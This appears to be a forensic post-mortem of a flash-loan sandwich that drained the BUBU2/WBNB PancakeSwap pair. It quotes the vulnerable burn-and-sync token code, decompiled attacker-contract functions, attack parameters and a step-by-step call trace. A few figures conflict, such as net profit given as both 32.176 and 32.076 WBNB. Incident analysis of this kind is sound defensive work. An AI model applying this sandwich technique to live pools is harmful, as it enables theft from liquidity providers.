BUBU2 Exploit — _triggerDailyBurnAndMint() Flash-Loan Sandwich
On March 1, 2026, the BUBU2/WBNB PancakeSwap pair on BNB Chain (block 83,955,808) was drained by flash-loan sandwiching a permissionlessly-triggerable burn mechanism inside the BUBU2 token contract.
The BUBU2 token has a function _triggerDailyBurnAndMint() designed to periodically burn a fixed percentage (0.5%) of the LP pair’s BUBU2 balance per interval. The mechanism accumulates missed intervals as rounds; when finally triggered, it burns rounds × 0.5% all at once and calls pair.sync() to commit the result. Critically, any non-exempt BUBU2 transfer can fire this function — there is no ownership check or caller restriction. The function had not been triggered for ~6.65 hours (199 rounds). The owner had changed TRIGGER_INTERVAL from the source-code default of 6 hours to 120 seconds at block 83,896,148 (~7.5 hours before the exploit); 199 × 120-second rounds = 23,951 seconds ≈ 6.65 hours of elapsed time. One trigger therefore burned 199 × 0.5% = 99.5% of the pair’s BUBU2 reserve in a single transaction.
The attacker wrapped this trigger atomically inside a flash loan: (1) borrowed 18.4 WBNB; (2) Swap 1: WBNB → BUBU2 (acquiring 18.7M BUBU2); (3) issued a 1000-wei BUBU2 self-transfer to fire _triggerDailyBurnAndMint(), which burned 1.292B BUBU2 directly from the pair and called pair.sync() — collapsing BUBU2 reserves from 1.299B to 6.49M while WBNB was untouched at 82.078; (4) Swap 2: remaining 18.7M BUBU2 → 50.576 WBNB at the now 200× inflated price; (5) repaid 18.4 WBNB. Net profit: **32.176 WBNB ($19,300 at ~$600/BNB)**.
The attacker’s EOA (0x000000006723cfa477656c08d08882d366c0e8fb) is whitelisted in the StakingRewardManager’s tx.origin access control, and the attack was executed through that contract as a ready-made wrapper. The DODO vault’s flashLoan is publicly callable (no access control — confirmed from verified VaultImplementation source), so any address could have executed the same exploit by calling the vault directly. The whitelist on StakingRewardManager is not the root vulnerability.
Root Cause
Attack Vehicle: StakingRewardManager
- Name: StakingRewardManager
- Address:
0x936eee4603751956db2e1b0fb13885a1176542df - Proxy status: Not a proxy
- Source type: Decompiled bytecode (Dedaub decompiler), Solidity 0.8.24; no verified source on BSCScan
StakingRewardManager Interface (Decompiled)
The StakingRewardManager exposes 3 external functions plus a receive() fallback:
| Selector | Name / Purpose | Access Control |
|---|---|---|
0x51cff8d9 | withdraw(address token) — drains all ERC-20 or ETH from the contract | tx.origin whitelist (5 addresses) |
0x35355acd | Entry point — queries vault, initiates flash loan, orchestrates full reward flow | tx.origin whitelist (5 addresses) |
0x4af5bbcd | Internal swap/reward processor — executes the round-trip swap and profit extraction | No access control (called by RewardDistributor callback) |
receive() | Accepts ETH | None |
Hardcoded tx.origin whitelist (used by both withdraw and 0x35355acd):
0xb7da455fed1553c4639c4b29983d8538 (truncated, likely 20-byte address)
0xdd0412366388639b1101544fff2dce8d
0x6723cfa477656c08d08882d366c0e8fb ← attacker's EOA
0x0a683dcf4bd9422dd2e9cf1f33c57ac5
0x0d328c0db3e50205fbeab34b756504a6
Note: The addresses appear truncated to 16 bytes in the decompilation. The attacker’s EOA is
0x000000006723cfa477656c08d08882d366c0e8fb(padded to 20 bytes), matching whitelist entry #3.
Vulnerable Contract: BUBU2 Token (0x3ff3f18b5c113fac5e81b43f80bf438b99edee52)
- Source: Verified on BSCScan, Solidity 0.8.x
- Vulnerable function:
_triggerDailyBurnAndMint()(line 2705) called from_update()(line 2159)
Trigger site — _update() lines 2206–2217
Any non-exempt BUBU2 transfer invokes _update(). Inside it, the following block fires _triggerDailyBurnAndMint() without any caller restriction:
// BUBU2 token — _update() lines 2206-2217
// Triggered by the attacker's 1000-wei self-transfer (StakingRewardManager → StakingRewardManager)
if (
!swapping &&
!isTaxExempt[from] && // StakingRewardManager is NOT tax-exempt
from != address(this) && // not the BUBU2 contract itself
!pairs[from] && // not the LP pair
!isAdd &&
from != address(uniswapV2Router) &&
burnAndMintSwitch // was true at time of attack
) {
swapping = true;
_triggerDailyBurnAndMint(); // ← ANY qualifying transfer fires this
swapping = false;
}
Vulnerable function — _triggerDailyBurnAndMint() lines 2705–2740
// BUBU2 token — lines 2701-2740
uint256 public lastTriggerTime = block.timestamp;
uint256 public TRIGGER_INTERVAL = 6 hours; // SOURCE DEFAULT — owner changed this to 120 on-chain
// cast call BUBU2 "TRIGGER_INTERVAL()(uint256)" --block 83955807 → 120
// Owner called the setter at block 83,896,148 (~2026-02-28 17:21 UTC), ~7.5h before the exploit
function _triggerDailyBurnAndMint() internal {
uint256 nowTime = block.timestamp;
if (nowTime <= lastTriggerTime + TRIGGER_INTERVAL) {
return;
}
// [FLAW 1] rounds accumulates unboundedly — no cap
// At time of attack: TRIGGER_INTERVAL = 120s (not 6h); elapsed = 23,951s → rounds = 199
uint256 rounds = (nowTime - lastTriggerTime) / TRIGGER_INTERVAL;
lastTriggerTime += rounds * TRIGGER_INTERVAL;
uint256 liquidityPairBalance = this.balanceOf(uniswapPair);
if (liquidityPairBalance == 0) return;
uint256 holdLPAwardRate = distributeRate; // 2000 (20%)
// ...
// [FLAW 2] burns rounds × 0.50% of the LP pair's BUBU2 balance, all at once
// At attack: 199 × 0.50% = 99.5% of 1,298,670,511 BUBU2 = ~1,292,100,000 BUBU2
uint256 blackAndLPAwardAmount = liquidityPairBalance
.mul(BURN_BLACK_PERCENT.add(BURN_AWARD_PERCENT)) // 25 + 25 = 50
.mul(rounds) // × 199
.div(BASE_PERCENT); // ÷ 10000
uint256 holdLPAwardAmount = blackAndLPAwardAmount.mul(holdLPAwardRate).div(BASE_PERCENT);
if (holdLPAwardAmount > 0) {
// Directly debits uniswapPair's balance — bypasses normal transfer logic
super._update(uniswapPair, address(lpAddress), holdLPAwardAmount); // → logs 11
}
uint256 blackAmount = blackAndLPAwardAmount.sub(holdLPAwardAmount);
if (blackAmount > 0) {
super._update(uniswapPair, BLACK_ADDRESS, blackAmount); // → logs 12
}
emit TriggerDailyBurnAndMint(liquidityPairBalance, blackAmount, holdLPAwardAmount, rounds);
// [FLAW 3] commits the gutted balance as the AMM's new canonical reserves
IUniswapV2Pair(uniswapPair).sync(); // → Sync[log-14]: BUBU2=6,493,352 / WBNB=82.078
}
Constants (lines 1739–1741):
uint256 public constant BURN_AWARD_PERCENT = 25; // 0.25% per round to LP holders
uint256 public constant BURN_BLACK_PERCENT = 25; // 0.25% per round to 0xdead
uint256 public constant BASE_PERCENT = 10000;
Attack vector — StakingRewardManager (0x936eee46..., decompiled)
The attacker used StakingRewardManager’s 0x4af5bbcd function as an execution wrapper. The critical step is Phase 3 — a 1000-wei BUBU2 self-transfer that fires _triggerDailyBurnAndMint():
// Decompiled from 0x936eee4603751956db2e1b0fb13885a1176542df (Dedaub)
// Internal function 0xb60 — called with (BUBU2, StakingRewardManager)
function _triggerTransfer(address token, address target) private {
token.transfer(target, 1000); // 1000 wei BUBU2, target = self (word7 param)
// ↑ this transfer invokes BUBU2._update() → _triggerDailyBurnAndMint()
}
Additional Backdoor: withdraw(address token)
The decompiled code reveals a standalone withdraw function gated by the same tx.origin whitelist:
function withdraw(address token) external {
require(
tx.origin == WHITELIST_1 || tx.origin == WHITELIST_2 ||
tx.origin == WHITELIST_3 || tx.origin == WHITELIST_4 ||
tx.origin == WHITELIST_5,
"!NA" // Error(0x234e41) = "!NA" = Not Authorized
);
if (token != address(0)) {
// Drain all ERC-20 tokens
uint256 balance = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(tx.origin, balance);
} else {
// Drain all ETH
// Uses 2300 gas stipend if balance is 0 (no-op), otherwise sends full balance
(bool success,) = tx.origin.call{value: address(this).balance}("");
require(success);
}
}
This function allows any whitelisted tx.origin to drain all tokens and ETH from the contract at any time, confirming the contract was designed with privileged backdoor access.
Entry Point: 0x35355acd
The decompiled entry point reveals the full orchestration flow:
function executeRewardFlow(
address rewardDistributor, // varg0 — RewardDistributor contract
address outputToken, // varg1 — WBNB
uint256 amountIn, // varg2 — 18.4e18
address router, // varg3 — PancakeRouter
address pair, // varg4 — PancakeSwap pair
address feeToken, // varg5 — BUBU2
uint256 loopCount, // varg6 — 1
address self, // varg7 — StakingRewardManager
uint256 feePercent // varg8 — 5
) external {
// 1. tx.origin whitelist check (same 5 addresses)
require(isWhitelisted(tx.origin), "!NA");
// 2. Record caller's initial outputToken balance
uint256 beforeBalance = IERC20(outputToken).balanceOf(tx.origin);
// 3. Query the RewardDistributor for vault info
// staticcall: rewardDistributor.0x99b76963(outputToken, amountIn, pair)
// Returns: (vaultAddress, someFlag)
(address vault, bool flag) = IRewardDistributor(rewardDistributor)
.queryVault(outputToken, amountIn, pair);
// 4. Build the packed struct for 0x4af5bbcd and call the RewardDistributor
// Encodes: 0x1a94cd12(flag, vault, amountIn, outputToken, <packed struct>)
// This triggers: vault.flashLoan → DPPFlashLoanCall → 0x4af5bbcd
IRewardDistributor(rewardDistributor).executeReward(
flag, vault, amountIn, outputToken, packedParams
);
// 5. Calculate and return profit
uint256 afterBalance = IERC20(outputToken).balanceOf(tx.origin);
uint256 profit = afterBalance - beforeBalance; // checked sub (0.8.24)
return (profit, profit); // returns 2 values
}
Why It’s Vulnerable
Root vulnerability: _triggerDailyBurnAndMint() is permissionlessly triggerable and accumulates burn debt without bound
The BUBU2 token (0x3ff3f18b...) contains the following function, called inside every non-exempt _update() when burnAndMintSwitch == true:
// Source: 0x3ff3f18b5c113fac5e81b43f80bf438b99edee52.sol, line 2705
function _triggerDailyBurnAndMint() internal {
if (nowTime <= lastTriggerTime + TRIGGER_INTERVAL) return; // cooldown guard
// KEY FLAW 1: rounds accumulates unboundedly
// TRIGGER_INTERVAL was 120s at exploit time (changed from 6h default by owner)
uint256 rounds = (nowTime - lastTriggerTime) / TRIGGER_INTERVAL;
lastTriggerTime += rounds * TRIGGER_INTERVAL;
uint256 liquidityPairBalance = this.balanceOf(uniswapPair);
// KEY FLAW 2: burns rounds * 0.5% of pair's BUBU2 directly, in one shot
uint256 blackAndLPAwardAmount = liquidityPairBalance
.mul(BURN_BLACK_PERCENT.add(BURN_AWARD_PERCENT)) // 25 + 25 = 50
.mul(rounds)
.div(BASE_PERCENT); // 10000
// → super._update(uniswapPair, lpAddress, holdLPAwardAmount) debits FROM THE PAIR
// → super._update(uniswapPair, BLACK_ADDRESS, blackAmount) debits FROM THE PAIR
// KEY FLAW 3: commits the manipulated reserves into the AMM
IUniswapV2Pair(uniswapPair).sync();
}
Why each flaw matters in isolation and together:
Flaw 1 — Unbounded rounds accumulation: The function is designed to burn 0.5% of the pair’s BUBU2 per interval. But it catches up all missed intervals at once. Here, _triggerDailyBurnAndMint() had not been called for ~6.65 hours (199 rounds). The source code declares TRIGGER_INTERVAL = 6 hours, but TRIGGER_INTERVAL is a mutable public variable — the owner called its setter to change it to 120 seconds at block 83,896,148 (2026-02-28 17:21 UTC), approximately 7.5 hours before the exploit. Verified: cast call 0x3ff3f18b... "TRIGGER_INTERVAL()(uint256)" --block 83955807 returns 120. With lastTriggerTime = 1772302202 (2026-02-28 18:10:02 UTC) and the exploit block timestamp 1772326153 (2026-03-01 00:49:13 UTC), elapsed = 23,951s; 23951 ÷ 120 = 199 rounds. One trigger therefore burned 199 × 0.5% = 99.5% of the pair’s 1.299B BUBU2 in a single transaction. Note: if the interval had remained at 6 hours, only 1 round would have accumulated in the same period — the owner’s modification was the direct enabler of the large burn magnitude.
Owner action — TRIGGER_INTERVAL setter: The BUBU2 source contains a privileged setter TRIGGER_INTERVAL = _tigger (line 2942) that allows the contract owner to change the burn interval at will. The owner called this function at block 83,896,148 (2026-02-28 17:21 UTC), reducing the interval from 21,600 seconds (6 hours) to 120 seconds, approximately 7.5 hours before the exploit. Verified by binary-searching cast call results: block 83,895,508 still returns 21600; block 83,896,148 already returns 120. This timing is highly suspicious — shrinking the interval to 2 minutes ensured that the maximum possible rounds (199) would accumulate within a normal trading window, making the attack dramatically more profitable. Without this change, the same flash-loan sandwich against a 6-hour interval would have yielded only 1 round (0.5% burn, negligible price impact). The owner of the BUBU2 contract either performed the exploit themselves or enabled it for a third party.
Flaw 2 — Caller unrestricted: The trigger fires on any non-exempt BUBU2 transfer — including a 1000-wei self-transfer from StakingRewardManager. There is no onlyOwner, no onlyBot, no EOA allowlist on the trigger path. The check in _update() is:
if (!swapping && !isTaxExempt[from] && from != address(this) &&
!pairs[from] && !isAdd && from != address(uniswapV2Router) && burnAndMintSwitch) {
_triggerDailyBurnAndMint();
}
The attacker satisfies all conditions trivially with any ordinary BUBU2 transfer.
Flaw 3 — No flash-loan protection: sync() after the burn locks the manipulated reserve ratio permanently (within the transaction). Combined with the flash loan, the attacker controls the exact moment the burn fires — sandwiching it between a buy (Swap 1) and a sell (Swap 2) atomically.
Quantified impact in this transaction:
| Phase | Action | Result |
|---|---|---|
| Swap 1 | 18.4 WBNB → BUBU2 (fee-on-transfer: 95% burn on receipt, 5% arrives) | Attacker receives 18.7M BUBU2; pair: 1.299B BUBU2, 82.078 WBNB |
| 1000-wei self-transfer → _triggerDailyBurnAndMint() (199 rounds) | Burns 99.5% of pair’s BUBU2, calls pair.sync() | Sync[14]: 6.49M BUBU2, 82.078 WBNB (WBNB untouched) |
| Auto-sell hook (post-transfer) | 935K accumulated fee BUBU2 → pair → 10.316 WBNB extracted | Sync[24]: 7.43M BUBU2, 71.76 WBNB |
| Swap 2 | 18.7M BUBU2 → WBNB at inflated price | 50.576 WBNB received |
| Repay + profit | 18.4 WBNB to vault | 32.176 WBNB net profit |
Note on fee-on-transfer in Swap 1: The 95% burn on the swap output (fee-on-transfer mechanism) does reduce what the attacker receives. However, this is not what collapses the LP reserves — the reserve collapse is entirely driven by
_triggerDailyBurnAndMint(). The fee-on-transfer is simply a property of the token the attacker chose to use as the swap vehicle.
Pair reserve timeline (all four Sync events confirmed from receipt):
| Sync log index | BUBU2 reserve | WBNB reserve | Cause |
|---|---|---|---|
| 9 | 1,298,670,511 | 82.078 | Swap 1 pair _update |
| 14 | 6,493,352 | 82.078 | _triggerDailyBurnAndMint() burns 1.292B BUBU2 from pair (logs 11–12); WBNB unchanged |
| 24 | 7,429,145 | 71.762 | Post-transfer auto-sell: 935K BUBU2 → pair, 10.316 WBNB extracted |
| 29 | 25,209,208 | 21.186 | Swap 2 pair _update |
Price ratio shift (Sync[9] → Sync[14]): 82.078 / 1,298,670,511 → 82.078 / 6,493,352 = ~200× increase in WBNB per BUBU2, with zero WBNB moved. This is the core price manipulation.
Why permissionless:
The DODO vault’s flashLoan(baseAmount, quoteAmount, assetTo, data) is external preventReentrant with no access control (verified from 0x85351262... source). Any address can borrow 18.4 WBNB, execute the sandwich, and repay — without touching the StakingRewardManager.
Attack Execution
High-Level Flow
- Attacker EOA (
0x00000000672...) calls the attack entry contract with 0.1 BNB and parameters specifying the BUBU2 token, PancakeSwap pair, and StakingRewardManager addresses - Attack contract records attacker’s WBNB balance (before), then calls StakingRewardManager’s whitelisted entry function (
0x35355acd) - StakingRewardManager calls RewardDistributor to query the DODO vault, then calls
0x1a94cd12 - RewardDistributor triggers the vault proxy’s publicly callable
flashLoan(18.4e18, 0, self, data), borrowing 18.4 WBNB - Vault sends 18.4 WBNB to RewardDistributor and calls back via
DPPFlashLoanCall - RewardDistributor forwards 18.4 WBNB to StakingRewardManager and calls
0x4af5bbcd - StakingRewardManager swaps 18.4 WBNB → BUBU2 via PancakeRouter; only 18.7M BUBU2 (5%) arrives (95% burned by fee-on-transfer). Pair Sync[9]: 1.299B BUBU2, 82.078 WBNB
rescueTokenattempted with 5% of BUBU2 balance (reverts silently —onlyOwner)- 1000-wei BUBU2 self-transfer (StakingRewardManager → StakingRewardManager,
loopCount=1):- Phase A pre-transfer hook: BUBU2 contract burns 266.2M + 1,025.9M BUBU2 directly from the pair →
pair.sync()→ Sync[14]: 6.49M BUBU2, 82.078 WBNB (99.5% BUBU2 collapse; WBNB untouched) - Actual 1000-wei transfer completes
- Phase B post-transfer hook: BUBU2 auto-sell: 935K BUBU2 → pair, 10.316 WBNB extracted →
pair.sync()→ Sync[24]: 7.43M BUBU2, 71.76 WBNB
- Phase A pre-transfer hook: BUBU2 contract burns 266.2M + 1,025.9M BUBU2 directly from the pair →
- StakingRewardManager swaps all 18.7M BUBU2 → WBNB at the ~152.8× inflated price, receiving 50.576 WBNB (Swap 2)
require(50.576 > 18.4 + minProfit, "!NR")passes; 18.4 WBNB repaid to vault; 32.176 WBNB profit sent totx.origin(attacker EOA directly)
Attack Parameters (from decompiled code)
0x35355acd(
rewardDistributor = 0xaeee14be..., // varg0
outputToken (WBNB) = 0xbb4CdB9..., // varg1
amountIn = 18.4e18, // varg2
router = PancakeRouter, // varg3
pair = 0x774547ea..., // varg4
feeToken (BUBU2) = 0x3ff3f1..., // varg5
loopCount = 1, // varg6
self = StakingRewardMgr,// varg7
feePercent = 5 // varg8
)
Detailed Call Trace
EOA (0x00000000672...) --CALL(0.1 BNB)--> AttackerEntry (0xcf17fd...)
|-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [record before-balance]
|-- CALL --> StakingRewardManager.0x35355acd(
| RewardDistributor, WBNB, 18.4e18, PancakeRouter, Pair, BUBU2, 1, self, 5)
| |-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [verification]
| |-- STATICCALL --> RewardDistributor.0x99b76963(WBNB, 18.4e18, Pair)
| | |-- STATICCALL --> WBNB.balanceOf(VaultProxy) [returns 284.06 WBNB]
| |-- CALL --> RewardDistributor.0x1a94cd12(0, VaultProxy, 18.4e18, WBNB, ...)
| | |-- STATICCALL --> VaultProxy._BASE_TOKEN_() [DELEGATECALL -> VaultImpl] => WBNB
| | |-- CALL --> VaultProxy.flashLoan(18.4e18, 0, RewardDistributor, data)
| | | |-- [DELEGATECALL -> VaultImpl.flashLoan]
| | | |-- CALL --> WBNB.transfer(RewardDistributor, 18.4e18) [flash loan disbursement]
| | | |-- CALL --> RewardDistributor.DPPFlashLoanCall(RewardDistributor, 18.4e18, 0, data)
| | | | |-- STATICCALL --> VaultProxy._BASE_TOKEN_() => WBNB
| | | | |-- CALL --> WBNB.transfer(StakingRewardManager, 18.4e18)
| | | | |-- CALL --> StakingRewardManager.0x4af5bbcd(data)
| | | | | |
| | | | | |-- [PHASE 1: SWAP — WBNB -> BUBU2]
| | | | | |-- Internal 0xa9c: pre-swap function
| | | | | |-- STATICCALL --> WBNB.allowance(self, PancakeRouter) => max
| | | | | |-- CALL --> PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
| | | | | | 18.4e18, 0, [WBNB,BUBU2], self, deadline)
| | | | | | |-- CALL --> WBNB.transferFrom(StakingRewardMgr, Pair, 18.4e18)
| | | | | | |-- STATICCALL --> BUBU2.balanceOf(StakingRewardMgr) => 0
| | | | | | |-- STATICCALL --> Pair.getReserves()
| | | | | | |-- STATICCALL --> WBNB.balanceOf(Pair)
| | | | | | |-- CALL --> Pair.swap(374317120e18 BUBU2, 0, StakingRewardMgr, "")
| | | | | | | |-- CALL --> BUBU2.transfer(StakingRewardMgr, 374317120e18)
| | | | | | | | |-- [FeeToken _update triggers]:
| | | | | | | | |-- Transfer 355.6M BUBU2 to 0xdead (burn)
| | | | | | | | |-- Transfer 18.7M BUBU2 to StakingRewardMgr (actual receipt)
| | | | | | | | |-- Transfer 266.2M BUBU2 to 0xdde4... (referral/tax)
| | | | | | | | |-- Transfer 1025.9M BUBU2 to 0xdead (burn #2)
| | | | | | | | |-- [Pair.getReserves, token0, etc. queries]
| | | | | | | | |-- [NO sync() called during this transfer]
| | | | | |
| | | | | |-- [PHASE 2: RESCUE TOKEN ATTEMPT]
| | | | | |-- STATICCALL --> BUBU2.balanceOf(self) => 18.7M BUBU2
| | | | | |-- rescueAmount = 18.7M * 5 / 100 = 935,000 BUBU2
| | | | | |-- CALL --> BUBU2.rescueToken(BUBU2, 935000) [REVERTS - onlyOwner]
| | | | | |
| | | | | |-- [PHASE 3: TRIGGER LOOP (loopCount=1)]
| | | | | |-- Internal 0xb60: BUBU2.transfer(StakingRewardManager, 1000)
| | | | | | [word7=self, so target is StakingRewardManager itself — confirmed log 17]
| | | | | |-- CALL --> BUBU2.transfer(StakingRewardManager, 1000)
| | | | | | |
| | | | | | |-- [PHASE A: BUBU2 PRE-TRANSFER HOOK] ← CRITICAL ROOT CAUSE
| | | | | | |-- CALL --> Pair.transfer(0xdde4..., 266.2M BUBU2) [log 11]
| | | | | | | [BUBU2 hook DEBITS 266.2M BUBU2 DIRECTLY FROM PAIR]
| | | | | | |-- CALL --> Pair.transfer(0xdead, 1,025.9M BUBU2) [log 12]
| | | | | | | [BUBU2 hook DEBITS 1,025.9M BUBU2 DIRECTLY FROM PAIR]
| | | | | | |-- CALL --> Pair.sync() [Sync log-14]
| | | | | | | |-- Pair BUBU2: 1,298,670,511 → 6,493,352 (99.5% drop)
| | | | | | | |-- Pair WBNB: 82.078 → 82.078 (UNCHANGED — no WBNB moved)
| | | | | | |
| | | | | | |-- [Actual 1000-wei transfer executes] ← log 17
| | | | | | |
| | | | | | |-- [PHASE B: BUBU2 POST-TRANSFER HOOK]
| | | | | | |-- Custom event 0xf8952d... emitted (logs attacker EOA in data)
| | | | | | |-- CALL → StakingRewardManager sends 935,792 BUBU2 to BUBU2 contract
| | | | | | |-- BUBU2 contract → Pair: 935,792 BUBU2 (sell)
| | | | | | |-- Pair → fee recipient: 10.316 WBNB
| | | | | | |-- CALL --> Pair.sync() [Sync log-24]
| | | | | | | |-- Pair BUBU2: 6,493,352 + 935,792 = 7,429,145
| | | | | | | |-- Pair WBNB: 82.078 − 10.316 = 71.762
| | | | | |
| | | | | |-- [PHASE 4: SWAP BACK — BUBU2 -> WBNB at inflated price]
| | | | | |-- STATICCALL --> BUBU2.balanceOf(self) => 18.7M BUBU2
| | | | | |-- CALL --> BUBU2.approve(PancakeRouter, max)
| | | | | |-- CALL --> PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
| | | | | | 18.7M BUBU2, 0, [BUBU2,WBNB], self, deadline)
| | | | | | |-- Pair sends 50.576 WBNB to StakingRewardManager
| | | | | |
| | | | | |-- [PHASE 5: PROFIT CHECK + DISTRIBUTION]
| | | | | |-- STATICCALL --> WBNB.balanceOf(self) => 50.576 WBNB
| | | | | |-- require(50.576 > 18.4 + minProfit, "!NR")
| | | | | |-- CALL --> WBNB.transfer(recipient, 18.4e18) [repay flash loan]
| | | | | |-- CALL --> WBNB.transfer(tx.origin, 32.176e18) [profit to attacker!]
| | | | |
| | | |-- [VaultImpl.flashLoan balance check]
| | | |-- STATICCALL --> WBNB.balanceOf(VaultProxy) => same as before (repaid)
|
|-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [record after-balance]
|-- CALL(0.1 BNB) --> 0x1266c6be... [fee payment]
Financial Impact
- Total profit: 32.176 WBNB (~$19,306 at $600/BNB)
- Gross WBNB from exploit: 50.576 WBNB received from the second swap
- Flash loan repaid: 18.4 WBNB returned to vault (vault is whole)
- Fee paid: 0.1 BNB to
0x1266c6be60392a8ff346e8d5eccd3e69dd9c5f20 - Gas cost: ~0.0000315 BNB (negligible)
- Net attacker profit:
32.076 WBNB ($19,246)
Who lost funds: The PancakeSwap BUBU2/WBNB liquidity pair (0x774547ea...) bore the entire loss. Its net change was -42.49 WBNB and -1,647,778,423 BUBU2. The vault proxy was made whole (net 0 WBNB change). The StakingRewardManager and RewardDistributor also ended with net 0 change — they were merely conduits.
PancakeSwap Router fee extraction: During the BUBU2 token’s internal sell tax logic (triggered during the 1000-wei transfer), 10.316 WBNB was extracted from the pair and sent to address 0x3758df1f78fe7a0c7f1f4d97b9e4f7678fd9e617 (the token’s fee recipient). This is part of the BUBU2 token’s normal fee mechanism but contributed to the pair’s losses.
Protocol solvency: The DODO-style vault remains solvent (the flash loan was fully repaid). The BUBU2/WBNB PancakeSwap pair was significantly drained of WBNB liquidity.
Evidence
Receipt status: Transaction succeeded (block 0x5011060, tx index 0x1).
Key Transfer events (WBNB, token 0xbb4CdB9...):
- Log 0: VaultProxy → RewardDistributor: 18.4 WBNB (flash loan disbursement)
- Log 1: RewardDistributor → StakingRewardManager: 18.4 WBNB (forwarded)
- Log 2: StakingRewardManager → Pair: 18.4 WBNB (first swap input)
- Log 23: Pair → PancakeRouter: 10.316 WBNB (fee token’s sell tax extraction)
- Log 28: Pair → StakingRewardManager: 50.576 WBNB (second swap output)
- Log 31: StakingRewardManager → VaultProxy: 18.4 WBNB (flash loan repayment)
- Log 32: StakingRewardManager → Attacker EOA: 32.176 WBNB (profit)
Key Transfer events (BUBU2, token 0x3ff3f1...):
- Log 7: Pair → 0xdead: 355.6M BUBU2 (fee-on-transfer burn during Swap 1 output)
- Log 8: Pair → StakingRewardManager: 18.7M BUBU2 (5% of swap output actually arrives)
- Log 11: Pair → 0xdde4…: 266.2M BUBU2 ← BUBU2 pre-transfer hook directly debits from pair
- Log 12: Pair → 0xdead: 1,025.9M BUBU2 ← BUBU2 pre-transfer hook directly debits from pair
- Log 14 (Sync): BUBU2=6,493,352 / WBNB=82.078 ← reserves locked after pre-transfer burns
- Log 17: StakingRewardManager → StakingRewardManager: 1000 wei BUBU2 (self-transfer,
word7=self) - Log 21: StakingRewardManager → BUBU2 contract: 935,792 BUBU2 (post-transfer auto-sell phase)
- Log 22: BUBU2 contract → Pair: 935,792 BUBU2 (auto-sell sends BUBU2 to pair)
- Log 24 (Sync): BUBU2=7,429,145 / WBNB=71.762 ← reserves after auto-sell extracts WBNB
- Log 27: StakingRewardManager → Pair: 17.78M BUBU2 (Swap 2 input)
Pair reserve timeline (all four Sync events confirmed from receipt):
| Sync log index | BUBU2 reserve | WBNB reserve | Cause |
|---|---|---|---|
| 9 | 1,298,670,511 | 82.078 | Swap 1 pair _update |
| 14 | 6,493,352 | 82.078 | BUBU2 pre-transfer hook burns 1.29B from pair (logs 11–12) |
| 24 | 7,429,145 | 71.762 | BUBU2 auto-sell extracts 10.316 WBNB (logs 21–22) |
| 29 | 25,209,208 | 21.186 | Swap 2 pair _update |
Price ratio shift: 82.078/1,298,670,511 → 71.762/7,429,145 = ~152.8× increase in WBNB per BUBU2
Note on two-Sync collapse: The previous report version described a single sync event collapsing reserves from 1.298B to 7.43M. The receipt reveals two consecutive Syncs: Sync[14] (pre-transfer hook burning 1.29B BUBU2 from pair, WBNB unchanged) and Sync[24] (auto-sell extracting 10.316 WBNB). The WBNB reserve is depleted only in the second Sync, not the first.
Selector verification:
0xd0a494e4=flashLoan(uint256,uint256,address,bytes)— confirmed via VaultImplementation ABI0x4a248d2a=_BASE_TOKEN_()— confirmed via VaultImplementation ABI0x7ed1f1dd=DPPFlashLoanCall(address,uint256,uint256,bytes)— confirmed via 4byte directory0x5c11d795=swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)— PancakeRouter standard0xfff6cae9=sync()— PancakeSwap pair standard0x33f3d628=rescueToken(address,uint256)— found in decompiled bytecode0x35355acd,0x4af5bbcd,0x99b76963,0x1a94cd12— unresolved (unverified contracts)
Analysis Cross-Check: TenArmor vs. Initial Report
A third-party analysis (TenArmorAlert) was published characterizing this incident. Cross-checking against on-chain evidence:
| Claim | TenArmor | Initial report | Verdict |
|---|---|---|---|
| Root cause is BUBU2 token logic | ✅ “token logic flaw” | ❌ “Privileged Insider / Compromised Key” | TenArmor correct — root cause is _triggerDailyBurnAndMint() |
| Flash loan is public | ✅ “public flash loan” | ❌ Implied restricted via whitelist | TenArmor correct — flashLoan is external preventReentrant, no ACL |
| No private key required | ✅ “not a private key leak” | ❌ Classified as insider | TenArmor correct — exploit is permissionless |
| Routine debits BUBU2 from LP pair + calls sync() | ✅ Correct direction | ❌ Attributed to “fee-on-transfer” | TenArmor correct — it is _triggerDailyBurnAndMint() debiting from the pair, confirmed by Sync[14] (BUBU2 −99.5%, WBNB unchanged) |
| “Daily burn/mint routine” | ✅ Named correctly | ❌ Not identified | TenArmor correct — _triggerDailyBurnAndMint() is the exact function; event TriggerDailyBurnAndMint is in the source |
| Rounds accumulation (6.65 hours at 120s interval → 199 rounds → 99.5% burn) | ❌ Not quantified | ❌ Not identified | Both missed — this is the precise amplifier; owner changed TRIGGER_INTERVAL from 6h to 120s at block 83,896,148, ~7.5h before the exploit |
| Attacker EOA whitelisted on StakingRewardManager | ❌ Not mentioned | ✅ Confirmed from decompiled bytecode | Initial report correct (factual, though not required for exploit) |
| Two distinct Sync events (Sync[14] WBNB-flat, Sync[24] WBNB-drops) | ❌ Not detailed | ❌ Conflated into one | Both missed — Sync[14] is pure _triggerDailyBurnAndMint(), Sync[24] is auto-sell |
Summary: TenArmor correctly identified the class of vulnerability (BUBU2 token logic, permissionless, LP debit + sync). The precise root cause is _triggerDailyBurnAndMint() firing 199 accumulated rounds in one flash-loan sandwich — something neither analysis fully articulated until cross-referencing the verified source against the four Sync events in the receipt.
Appendix: Decompiled Contract Internal Functions
The following helper functions were identified in the decompiled bytecode, confirming the contract’s mechanical behavior:
| Internal ID | Reconstructed Name | Purpose |
|---|---|---|
0x3a2e / 0x9d9 | _getBalance(token, account) | Calls token.balanceOf(account), reverts on failure |
0xa9c | _preSwap(router, tokenIn, tokenOut, amount, recipient) | If amount > 0 and tokenIn != tokenOut, swaps via router with fee-on-transfer support. Sets up 2-element path [tokenIn, tokenOut], approves if needed |
0xb60 | _triggerTransfer(token, target) | Transfers exactly 1000 wei of token to target — used to trigger fee token’s _update() |
0xb8b | _safeTransfer(token, to, amount) | Standard token.transfer(to, amount) with require on return value |
_SafeMul | safeMul(a, b) | Checked multiplication (Solidity 0.8.24 built-in overflow check) |
_SafeAdd | safeAdd(a, b) | Checked addition (Solidity 0.8.24 built-in overflow check) |